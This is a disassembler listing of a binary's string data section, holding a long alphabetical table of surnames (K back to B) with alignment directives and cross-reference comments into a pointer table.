aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o
aKling db 'Kling',0 ; DATA XREF: ___:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o
align 4
aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o
aHand db 'Hand',0 ; DATA XREF: ___:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o
aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o
aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo
aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o
; ___:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o
aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o
aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o
aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o
aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o
